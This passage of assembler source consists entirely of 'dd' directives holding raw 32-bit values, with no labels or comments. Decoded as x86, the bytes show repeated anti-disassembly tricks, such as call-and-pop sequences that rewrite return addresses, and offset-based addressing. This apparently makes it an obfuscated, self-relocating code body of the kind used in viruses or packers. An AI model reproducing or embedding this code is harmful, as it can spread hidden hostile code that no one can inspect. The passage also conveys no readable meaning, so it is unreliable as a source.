		dd 43000000h, 8617C353h, 2845F40Bh, 0C283DF1Eh,	51006A04h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1404h, 0C3514100h
		dd 0D9D8BD7h, 89061E15h
		dd 8D0F2050h, 6, 26B19589h, 858D061Eh, 621C4A4h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 4EC35545h, 894FFEA1h
		dd 0B886h, 54BB6600h, 0FF006A0Eh, 21B027B5h, 51B58906h
		dd 0FF061E2Eh, 1E32F995h, 50FD8A06h, 11E8h, 343A4800h
		dd 9118F4A0h, 40DF948Ah, 0E85F0A53h, 820F6D22h,	2, 895BDC8Ah
		dd 6A2434h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h
		dd 52420000h, 8B963DC3h, 1E079DBDh, 27B5FF06h, 90621B0h
		dd 1E00A995h, 0FE806h, 0B5030000h, 2DBA95F9h, 0F14B1A75h
		dd 0AADC6310h, 0FE965h,	1BBE0000h, 0EE745FC6h, 6722EA62h
		dd 9282DA6Ch, 95FF5F24h, 61E3049h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 17h, 0BBC35646h,	83F5F4FBh, 1E0DB9BDh
		dd 840F0006h, 12h, 1A39BD8Bh, 8B50061Eh, 243489DFh, 29119D0Bh
		dd 0B5FF061Eh, 621B027h, 0E857006Ah, 3,	5FC35F20h, 4247C89h
		dd 4244481h, 14h, 89C35747h, 49BD8B60h,	89061E29h, 1E0EA5B5h
		dd 0BD8B6106h, 61E2C91h, 164D95FFh, 0E780061Eh,	27B5FFF9h
		dd 0E90621B0h, 0Eh, 1F562E46h, 0D9F26Ch, 9341D025h, 95FFE452h
		dd 61E09DDh, 0EE960h, 49160000h, 2E90FD54h, 0C1FFC738h
		dd 0BBFC0EF1h, 0D9BD8361h, 2061E2Bh, 51840Fh, 85890000h
		dd 61E07D5h, 0E2D858Bh,	9D23061Eh, 61E33A9h, 6A0000C6h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1C042444h
		dd 43000000h, 36D4C353h, 608250F9h, 0E94A74CBh,	13h, 0BBD29258h
		dd 9D1AEFE4h, 7F7F1C60h, 0FC9F0B8h, 0C7BF15DFh,	1E1F8185h
		dd 6, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1C04h, 0C3534300h, 6577F722h, 4B88BB06h, 0F3E2E98Fh
		dd 8960FFFFh, 1E296985h, 0F28B6606h, 6AC18B61h,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 19042444h, 43000000h
		dd 8E8BC353h, 45BC39A4h, 21E99D8Bh, 858D061Eh, 61E19DDh
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 0D6C35646h
		dd 55F9F58Bh, 89C3BE12h, 1E26998Dh, 60529006h, 98BB29B3h
		dd 6127E792h, 0DE8505Fh, 0BE000000h, 0DFC75829h, 0C5744CDDh
		dd 68C42A9Ah, 0BE95250h, 0BF000000h, 813A0F7Eh,	0AC8A597Eh
		dd 310FB616h, 0F72B11BFh, 5F585A62h, 0E0C38190h, 8B1E47F4h
		dd 1E1DC99Dh, 66006A06h, 5F2DB81h, 6A006Ah, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 150424h, 56460000h, 0F254EC3h
		dd 858DDAB7h, 622E056h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 18h, 9AC35040h, 0ACD2BDD1h, 83D88B66h, 6A05C0h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h, 52420000h
		dd 0C39C23C3h, 8B23D6ADh, 1E32F19Dh, 0BE806h, 60F90000h
		dd 1E565F98h, 8A12C9BDh, 0FD9D8BD7h, 5B061E0Eh,	50FEBF0Fh
		dd 48922B3h, 0BF505324h, 763AB8F6h, 6A5F5Fh, 31E18D89h
		dd 0A9BF061Eh, 6A4C95F5h, 53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1504h,	0C3534300h, 0B5895C1Dh
		dd 61E0481h, 21ED95FFh,	8DFC061Eh, 2194B68Dh, 55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1B04h, 0C3554500h
		dd 0F55B4CAAh, 12CE8949h, 6AD1FFh, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 150424h, 53430000h, 0B7D972C3h, 2DBD83E5h
		dd 1061E27h, 8C850Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 140424h, 57470000h, 0FA8A88C3h, 12E9h, 58123700h
		dd 47002B66h, 6EDE3209h, 699259F6h, 6AF62A3Ch, 17830F02h
		dd 0E9000000h, 12h, 38B77CEBh, 7BB8D006h, 95AAEC2Dh, 0C0DEF6Dh
		dd 8B50F29Dh, 240489DEh, 2C8DBD2Bh, 0BD01061Eh,	61E020Dh
		dd 32F995FFh, 6A061Eh, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 150424h, 50400000h, 0FB915C3h, 0BE9FFB7h, 0E800000Eh
		dd 0
		dd 60ED815Dh, 6A0622E0h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1C042444h, 43000000h, 0F7B4C353h,	8E6C7B49h
		dd 0FB4AE07h, 681h, 0C1958900h,	60061E09h, 1C359D89h, 6A61061Eh
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1D042444h
		dd 45000000h, 0F9D4C355h, 84AE97D6h, 875BD615h,	0FE858DFCh
		dd 6A06218Dh, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1A042444h, 43000000h, 0C527C353h, 8F96992Bh,	0EE89013h
		dd 0
		dd 6785FA15h, 0FC9744C9h, 0BD70EE92h, 0F52507Bh, 8Bh, 0B7310F00h
		dd 5F585A86h, 10E950h, 97C50000h, 0AF967997h, 0A65DC0E7h
		dd 8A1B826Dh, 6A903946h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 16042444h, 42000000h, 0AD8BC352h,	35FF64EEh
		dd 0
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 14h, 38C35646h
		dd 13E9h, 0B0A0D000h, 23705426h, 0E7EF8767h, 1AD67280h
		dd 0A7717A6Eh, 258964h,	29000000h, 1E181185h, 9185FF06h
		dd 81061E1Dh, 0C13F0BDFh, 0D985097Bh, 6A061E2Ch, 4BA5BFFFh
		dd 95894C08h, 61E2B2Dh,	1515B5FFh, 6A061Eh, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 140424h, 55450000h, 0D88BF4C3h
		dd 165595FFh, 25E9061Eh, 60000001h, 1B359D8Bh, 870F061Eh
		dd 3, 61D38B66h, 82EB8166h, 6600B0ABh, 0E6D375BFh, 8171E470h
		dd 0BC6857E3h, 0F613C38h, 0F783h, 5E900h, 0E8E00000h, 0F4C6FDDh
		dd 8D29C8B6h, 61E2DA5h,	6BAh, 758D8900h, 8B061E07h, 85BD89C1h
		dd 0C1061E1Dh, 0BD0904E8h, 61E02ADh, 66E2F766h,	2B807CBFh
		dd 0BE6660C8h, 8E0F1AABh, 6, 25C9B58Bh,	8B61061Eh, 0F98589D1h
		dd 57061E1Ah, 9FC78166h, 99E95F7Ch, 0E8000000h,	8, 0B35DA7B1h
		dd 0D6C36FDAh, 31999D8Bh, 8B5B061Eh, 4C4C4485h,	7DBD8B5Fh
		dd 83061E0Eh, 8D2907C0h, 61E1465h, 0F00C083h, 8589FEB7h
		dd 61E2195h, 830FD03Bh,	1Ch, 7D59D8Bh, 51E9061Eh, 81000000h
		dd 2571DEC7h, 8D8B6036h, 61E1F05h, 61CB8B66h, 0FFFF8D8Bh
		dd 0BE9FFFFh, 0EE000000h, 0D66547DCh, 0F65D102Bh, 0E183524Eh
		dd 21840F01h, 89000000h, 1E172D85h, 0FFA58306h,	0FEFFFFFFh
		dd 897CD380h, 4C4C4495h, 118D895Fh, 0E9061E1Eh,	0
		dd 5F0CB58Dh, 6A0622h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 170424h, 57470000h, 25AA1CC3h, 198D8932h, 6A061E16h
		dd 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1704h
		dd 0C3554500h, 0B1A24753h, 28D0Fh, 9AB30000h, 0FFADE380h
		dd 1E26C195h, 0F59D8B06h, 81061E15h, 69470EEBh,	0F25B957h
		dd 0B5010000h, 61E0219h, 6AFCE183h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1A042444h, 46000000h, 7CD5C356h
		dd 0CFCABD79h, 4DCB811Ch, 0FC7239BDh, 1B519D8Bh, 0B8061Eh
		dd 1000000h, 1E236DB5h,	6AD22B06h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1A042444h, 47000000h, 14B0C357h
		dd 0A39163B3h, 0A1BD8BC4h, 0AD061E08h, 0E8D1C233h, 0E983D003h
		dd 6AF47504h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1A042444h, 41000000h, 0F048C351h, 0E72521B9h, 870F56h
		dd 6A000000h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 16042444h, 41000000h, 0BEA7C351h, 0E19D8B1Eh, 0B7061E19h
		dd 880DFCh, 6A0000h, 3E856h, 5E200000h,	74895EC3h, 44810424h
		dd 190424h, 56460000h, 0D01DF5C3h, 0B7D84269h, 0AE9C0h
		dd 0BF3A0000h, 4A4020E2h, 56DBA8C6h, 2375958Bh,	0BD8B061Eh
		dd 61E14C5h, 324D8D8Bh,	8B66061Eh, 0C28B50D8h, 0C103188Bh
		dd 0C18B188Bh, 0C203E8D1h, 3158188Bh, 1E2C7985h, 0EF816606h
		dd 6AF5BFh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h
		dd 53430000h, 2B9D27C3h, 87557CD1h, 8C0FD96Dh, 1Ah, 0EE8h
		dd 58E77700h, 98BEAA5h,	0C438E55Eh, 8B6EEA86h, 1E32E1BDh
		dd 0BD835B06h, 61E0259h, 3B840F00h, 29000000h, 1E26C58Dh
		dd 0B806h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 180424h, 55450000h, 0FB80A6C3h, 8166BBDBh, 8D4F15D3h
		dd 1E4CB88Dh, 0E1FFF806h, 0BD8315B3h, 61E3169h,	94840F00h
		dd 6A000004h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 15042444h, 43000000h, 90C3C353h, 3169BD83h, 0F01061Eh
		dd 48584h, 83D88B00h, 1E3169BDh, 860F0306h, 440h, 0E0D8D89h
		dd 6A60061Eh, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1B042444h, 42000000h, 375EC352h, 109E40Dh, 8B6650E1h
		dd 0E18D29DEh, 66061E02h, 6AD98Ch, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 150424h, 50400000h, 31BA4CC3h, 1E13599Dh
		dd 4E18006h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 1Dh,	0B9C35040h, 49398B3Ah, 98E6A9E5h, 85BD89F5h, 81061E0Ch
		dd 1A811BC7h, 0FC90A23h, 13484h, 51006A00h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1404h,	0C3514100h, 11BD8B30h
		dd 8B061E04h, 1E1A1185h, 51006A06h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1504h, 0C3514100h, 860FBF97h, 19h, 0EE8h
		dd 0C927A00h, 0CECC0538h, 0DF2183Fh, 0BB4A5071h, 2CC2E6BCh
		dd 0BD85335Fh, 6A061E14h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 18042444h, 42000000h, 0A13BC352h,	5098F0E1h
		dd 489DA8Bh, 53006A24h,	3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1A04h, 0C3534300h, 7EE667CCh, 9F29150h, 1E07BD9Dh, 0BB006A06h
		dd 3715D777h, 0C3933168h, 11E97Ch, 59130000h, 56597255h
		dd 656E5F60h, 0F6CD0F07h, 81C6E07Eh, 90CE2434h,	0FFF57CDCh
		dd 1E144195h, 0F1BD8B06h, 89061E1Eh, 21B02785h,	55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1C04h, 0C3554500h
		dd 0FDDC4C25h, 8AFAF8A8h, 0FBB70F0Fh, 3BE9F88Bh, 0E9000002h
		dd 0Dh,	6FEE2B14h, 0E9653017h, 192DD69Fh, 1F858B86h, 6A0621B0h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1D042444h
		dd 47000000h, 0C28EC357h, 335C4CA5h, 6EB311F5h,	1EAD9D8Bh
		dd 0C7061Eh, 18h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 14h,	0EEC35040h, 19D78166h, 0DA8B667Eh, 0B023B58Bh
		dd 0DB810621h, 6E94300Ch, 1CC9858Bh, 689061Eh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 18h, 15C35141h, 0AF45552Ah
		dd 0CF816651h, 8B5FC8E6h, 1E1A1185h, 0D3816606h, 4689B601h
		dd 14E95004h, 0F000000h, 0CD059B35h, 781AB004h,	0A2E360EAh
		dd 0C5BCB975h, 89833D92h, 6A2434h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1B0424h, 51410000h, 8855CFC3h, 9B9C5B55h
		dd 14E96002h, 76000000h, 476DBD9Ah, 0FF811DACh,	6F92AFDBh
		dd 10CA744Bh, 8BD4BBE2h, 1E049DB5h, 0AE96106h, 9C000000h
		dd 41543D3Dh, 1A606B2Fh, 1FB5FF48h, 530621B0h, 18C98D89h
		dd 0E85F061Eh, 4, 1F03FFh, 10E950h, 0A26A0000h,	0CB1D1EB6h
		dd 1434CE13h, 0ED52F287h, 448BE167h, 8A600424h,	12E960C2h
		dd 0A8000000h, 827E8878h, 0C78155CEh, 7D4815FEh, 0FAB15CAAh
		dd 4ECCBB19h, 61617670h, 0BB60008Bh, 422873Bh, 8961BFB4h
		dd 0B7042444h, 6A5868h,	3E850h,	58200000h, 448958C3h, 44810424h
		dd 1D0424h, 50400000h, 0BAC554C3h, 5E53D47Dh, 0F9BD1A0Fh
		dd 0B027858Dh, 6A0621h,	3E852h,	5A200000h, 54895AC3h, 44810424h
		dd 170424h, 52420000h, 0E8FB4FC3h, 42BB662Eh, 52509036h
		dd 310FDA8Bh, 5AF88B66h, 52505058h, 4BBF6652h, 310F5B43h
		dd 585A5F53h, 52006A90h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1804h, 0C3524200h, 51FEEB17h, 15CF81AFh, 0FF47BD3Ch
		dd 1E144195h, 14E906h, 3A800000h, 0E3A1ED3Ch, 0F3C2842Dh
		dd 4027654Eh, 916C14CBh, 6A610116h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1B042444h, 45000000h, 37EC355h
		dd 12A73089h, 85C7DFE8h, 61E3169h, 3, 27BD83FCh, 621B0h
		dd 12840Fh, 0B5290000h,	61E2941h, 22E9h, 66C0B300h, 4ED3F781h
		dd 110C3050h, 1114400h,	3010E8C1h, 21144h, 5803114Ch, 7504E983h
		dd 5036EBE7h, 110430h, 0C1011164h, 443010E8h, 64000211h
		dd 83580311h, 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h
		dd 28580211h, 30011164h, 0E9831104h, 0EBE77504h, 60C08B00h
		dd 0CECE8051h, 0C6B9665Bh, 6A6145h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1D0424h, 57470000h, 0F3133EC3h
		dd 0BD643B29h, 66737C47h, 9CE4EB81h, 2799D8Bh, 0BD83061Eh
		dd 61E3169h, 0C8850F03h, 0E9000003h, 0Dh, 0A22B3882h, 5408F7EDh
		dd 0B9F04862h, 27BD8321h, 621B0h, 3A9840Fh, 6A0000h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 160424h, 50400000h
		dd 0AF79C3h, 0C840Fh, 5E80000h,	1D000000h, 49F8ED7Dh, 0B5FF5BF5h
		dd 621B027h, 0AFDDBF66h, 155595FFh, 6A061Eh, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 140424h, 56460000h, 870F04C3h
		dd 6, 3D3ECF81h, 0B58B0F40h, 621B01Bh, 106C7h, 0B3560001h
		dd 8B965BE3h, 890F50FBh, 4, 5B4FB350h, 56006A96h, 3E8h
		dd 0C35E2000h, 2474895Eh
		dd 24448104h, 1504h, 0C3564600h, 9D230B5Dh, 61E3125h, 0B027B5FFh
		dd 95FF0621h, 61E2B3Dh,	13E9h, 4C54600h, 0F85151E8h, 0C907FFDDh
		dd 239C8324h, 0A252B9F3h, 0D259D8Bh, 0B58B061Eh, 621B01Bh
		dd 32F28160h, 0F1F081Fh, 185h, 8B61FC00h, 1E2A2185h, 89F98A06h
		dd 0C486h, 199D8B00h, 31061E18h, 1E1D7195h, 75958B06h
		dd 1061E23h, 1E07598Dh,	4C28306h, 2C818D89h, 5089061Eh
		dd 51006A20h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1D04h
		dd 0C3514100h, 5E1D0372h, 28A48F51h, 8589A147h,	61E13C5h
		dd 858DDE8Bh, 621C4A4h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 15h, 8BC35242h, 0B8868940h, 6A000000h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 18042444h, 46000000h
		dd 0F24DC356h, 6AAC3A10h, 50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1604h,	0C3504000h, 0E8DAB56Ah
		dd 13h,	18E8754Bh, 1E1F7825h, 372B4B04h, 176883D0h, 8B0694B3h
		dd 1E13E99Dh, 0B5FF5B06h, 621B027h, 0E852006Ah,	3, 5AC35A20h
		dd 4245489h, 4244481h, 15h, 30C35242h, 0F995FFA3h, 0F061E32h
		dd 68Eh, 0D1BD8B00h, 50061E2Ch,	6A243489h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 16042444h, 47000000h, 71F7C357h
		dd 0B19D293Ah, 0FF061E04h, 21B027B5h, 55006A06h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1504h, 0C3554500h
		dd 0BF66DAE6h, 9D03DE06h, 61E16D5h, 304995FFh, 6A061Eh
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 170424h, 50400000h
		dd 0FBD09FC3h, 0B589608Bh, 61E1A85h, 7F9958Bh, 8361061Eh
		dd 1E0DB9BDh, 840F0006h, 42h, 96FEB70Fh, 1AD4BF66h, 96F88B50h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 60C35343h
		dd 842B5A54h, 0E9379AB0h, 0Eh, 43A7078Dh, 0DDF04C19h, 60D167h
		dd 0B5FF64A2h, 621B027h, 0E853006Ah, 3,	5BC35B20h, 4245C89h
		dd 4244481h, 19h, 0DEC35343h, 271E80E3h, 8CBF6633h, 4D95FFEEh
		dd 6A061E16h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 14042444h, 45000000h, 6091C355h, 0E6D9589h, 9503061Eh
		dd 61E2A61h, 27B5FF61h,	810621B0h, 0A73DCFE7h, 0DD95FF2Eh
		dd 6A061E09h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 18042444h, 40000000h, 4286C350h, 0F10B81Fh, 48Bh, 7ABB6600h
		dd 0FA8B66E8h, 2BD9BD83h, 0F02061Eh, 1684h, 8BDF8B00h
		dd 1E0E2D85h, 8727BF06h, 0C64B95h, 0F9BF0F00h, 0C7F88B66h
		dd 1E1F8185h, 6, 0BDBD8B00h, 0E9061E29h, 0FFFFF387h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 63C35646h, 0E53D147Ah
		dd 5B52D705h, 6AC18Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1A0424h, 53430000h, 190201C3h, 94A6122Dh, 0F1BD2Bh
		dd 858D061Eh, 61E19DDh,	1B840Fh, 13E80000h, 0C5000000h
		dd 0C413C97Ch, 21BBA73h, 0F5B5073Bh, 0E3673F83h, 6160125Bh
		dd 0F98A505Bh, 6A240489h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 14042444h, 40000000h, 0E9C1C350h,	9, 6D2CD84Fh
		dd 8E479FE0h, 8B006A28h, 0FC006AD8h, 0F0AD858Dh, 0BD230622h
		dd 61E05B1h, 6A05C083h,	3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 18042444h, 47000000h, 0FE10C357h,	8B881128h
		dd 14E890FEh, 0B2000000h, 0B9EF9932h, 6E4B9916h, 0A56B399h
		dd 1B29CE4h, 0E9B47874h, 0Bh, 0B9F68E8Dh, 0FBA6C3FFh, 5FF920F1h
		dd 90FC8A50h, 3820Fh, 0BF0F0000h, 6A006AFEh, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1D042444h, 46000000h
		dd 693C356h, 0E0D5E449h, 0F7FD25F7h, 9D29006Ah,	61E21A9h
		dd 14E99D8Bh, 95FF061Eh, 61E21EDh, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 17h, 11C35343h, 8BDFBF8Dh, 0A7E381FAh
		dd 8D0EC924h, 2194B68Dh, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1604h, 0C3574700h, 811AB31Dh, 2E5649D7h
		dd 6AD1FF07h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1D042444h, 42000000h, 0E129C352h, 0B8B6C4E8h, 0D1B11571h
		dd 4299D8Bh, 8166061Eh,	664B3DD7h, 466D781h, 272DBD83h
		dd 0F01061Eh, 0B085h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1A04h, 0C3574700h, 749C2668h, 121C615h, 1E033185h
		dd 998D8906h, 6A061E16h, 52006A02h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1604h, 0C3524200h, 50704EC4h, 26B19529h
		dd 665F061Eh, 0E866F381h, 13E950h, 8C5F0000h, 0D72BAB61h
		dd 0BBA40052h, 3647D786h, 306FD9Ah, 240489D1h, 83C9BB66h
		dd 32F995FFh, 6A061Eh, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1D0424h, 56460000h, 0F05F62C3h, 91F37BF6h, 51E89AD3h
		dd 28B0Fh, 5F570000h, 0EF2E95Fh, 0E80000h, 5D000000h, 0F0B7ED81h
		dd 6A0622h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h
		dd 52420000h, 0E87F2FC3h, 66982142h, 7E8EBh, 7C3E0000h
		dd 41EABB98h, 0AE95B65h, 0B000000h, 4082700Dh, 70E691DCh
		dd 0FE858D25h, 6A06218Dh, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 19042444h, 40000000h, 510AC350h, 16FCFB83h
		dd 11E96090h, 3000000h,	927DC0C7h, 0CB095E05h, 0A5A197CFh
		dd 0D331A6A9h, 1B46B866h, 5E85061h, 0B4000000h,	5305D971h
		dd 0CD8BF66h, 6A905Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1C0424h, 56460000h, 0E9CCEEC3h, 30509B0h, 0FF64CDDEh
		dd 35h,	33A5BF00h, 89642D6Dh, 25h, 0FFFB8B00h, 1E1D9185h
		dd 50006A06h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1A04h
		dd 0C3504000h, 0FDA5390h, 60242066h, 32AD9D89h,	9533061Eh
		dd 61E0115h, 0FCFF6A61h, 2D11B5FFh, 0F381061Eh,	7A240975h
		dd 165595FFh, 0FEE9061Eh, 80000000h, 0B080E3h, 0D850Fh
		dd 8E90000h, 94000000h,	0B5DF6F66h, 0E6AA1C3Dh,	2850F70h
		dd 8B000000h, 0E971E4F8h, 0Bh, 0E9375A58h, 0F01AB8B9h
		dd 6679257Bh, 9AFECB81h, 830F613Ch, 0BDh, 0C723BB66h, 0BAC8B60Fh
		dd 6, 9B56CB81h, 0C18B7566h, 998D8960h,	0F061E29h, 682h
		dd 8D0F00h, 61000000h, 8904E8C1h, 1E03959Dh, 0E2F76606h
		dd 0C82B45B3h, 124DBD89h, 0D18B061Eh, 0E960F380h, 75h
		dd 68C0Fh, 9D890000h, 61E0DC5h,	4C50858Bh, 2CBB4755h, 83369CDAh
		dd 0EF8007C0h, 0C083E1h, 6890Fh, 860F0000h, 0
		dd 830FD03Bh, 11h, 7C19D89h, 36E9061Eh,	89000000h, 1E0CEDBDh
		dd 0FF8D8B06h, 66FFFFFFh, 0F3D91BBh, 0E183F8B7h, 1A840F01h
		dd 8B000000h, 1E0EA19Dh, 0FFA58306h, 0FEFFFFFFh, 4C509589h
		dd 0B1B34755h, 0E9h, 31B58D00h,	6A06226Eh, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1D042444h, 40000000h, 8900C350h
		dd 77BBE307h, 9412FB49h, 158DB531h, 6A061Eh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 1C35141h, 0CCAD510Ch
		dd 8FB03FF6h, 42EB8166h, 0C800F0Dh, 0F000000h, 689h, 818D2900h
		dd 0FF061E04h, 1E26C195h, 50006A06h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1504h,	0C3504000h, 8D299154h
		dd 61E21E9h, 0CE9h, 7213CF00h, 0FD9647F7h, 0A6190D2Ah
		dd 0FC1B9E1h, 0FB8B0000h, 8AFCE183h, 6AFCFEh, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1A0424h, 50400000h, 9DF327C3h
		dd 34C82D1Fh, 0DE960h, 0F9AA0000h, 740C2E5Ch, 94CBC005h
		dd 1151E3Eh, 1E0E05BDh,	0C02B6106h, 0E857006Ah,	3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Ch, 36C35747h, 2B2BBFB9h, 792C8457h
		dd 16D99D89h, 0D22B061Eh, 9E8h,	0BCB5DC00h, 5528D221h
		dd 9D89E87Bh, 61E338Dh,	0C233AD5Bh, 0D003E8D1h,	7504E983h
		dd 4D9529F4h, 8B061E1Dh, 880DDFh, 6A0000h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 140424h, 50400000h, 0BD2BAAC3h
		dd 61E0EFDh, 2375958Bh,	0BD8B061Eh, 61E21CDh, 324D8D8Bh
		dd 6A061Eh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h
		dd 55450000h, 569130C3h, 6880Fh, 8D010000h, 61E1A75h, 0E381665Bh
		dd 8B50228Bh, 3188BC2h,	8B188BC1h, 3E8D1C1h, 58188BC2h
		dd 6ADEBF0Fh, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 17042444h, 45000000h, 0DB24C355h, 0AE9E392h,	3C000000h
		dd 13340B46h, 9E411581h, 59BD83C4h, 61E02h, 9F840Fh, 0BB660000h
		dd 0B8E012h, 6A000000h,	3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1D042444h, 41000000h, 0F8BDC351h,	9CD4A839h
		dd 7DCA1BC2h, 2A399589h, 8D8D061Eh, 61E4CB8h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 0CEC35747h, 419A224Fh
		dd 16860Fh, 11E90000h, 0E3000000h, 0D6E8533Eh, 7771AA30h
		dd 4C873EAFh, 0F1807C06h, 6AE1FFh, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1B0424h, 53430000h, 66101C3h, 0E3D5397Fh
		dd 0F4BB6641h, 69BD8304h, 61E31h, 4BC840Fh, 6A0000h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h
		dd 0F84D8C3h, 39858960h, 83061E0Dh, 1E3169BDh, 840F0106h
		dd 4A5h, 0E857006Ah, 3,	5FC35F20h, 4247C89h, 4244481h
		dd 16h,	14C35747h, 0BF6608E9h, 852938A2h, 61E1BC9h, 3169BD83h
		dd 0F03061Eh, 43A86h, 50006A00h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1B04h, 0C3504000h, 0C46ADDC5h, 43726728h
		dd 29118D89h, 6A60061Eh, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 18042444h, 46000000h, 571CC356h, 8B4B007Fh
		dd 1E02819Dh, 0D98C6606h, 7E8h,	0A2B22F00h, 198926Eh, 31FD9589h
		dd 805B061Eh, 0E38004E1h, 0FC90AA3h, 16D84h, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1504h, 0C3504000h
		dd 0FE91FBFh, 0B9000000h, 84FDE05Bh, 9914A692h,	5873A2A9h
		dd 858BC9E1h, 61E1A11h,	58A0Fh,	81660000h, 332972C7h, 1E14BD85h
		dd 53006A06h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1A04h
		dd 0C3534300h, 23BDE8C0h, 0F55035A2h, 23BA6050h, 0F4D18FBh
		dd 588h, 6328B900h, 89610E09h, 9D8B2404h, 61E0805h, 8589006Ah
		dd 61E2DFDh, 4E8h, 1F03FF00h, 7E95000h,	0AB000000h, 96B8C562h
		dd 448BC598h, 0FB8B0424h, 5250008Bh, 8E8h, 0AB09FE00h
		dd 0A71414D3h, 6E8C6h, 8B830000h, 510AE5A0h, 310F5B5Bh
		dd 9FF8B860h, 8B665A0Ch, 585A61C3h, 4244489h, 58FE8B66h
		dd 0FFDF8B66h, 1E144195h, 50006A06h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1D04h,	0C3504000h, 7B308D88h
		dd 0D6638265h, 0BD89E5C9h, 61E1669h, 0B0278589h, 6A0621h
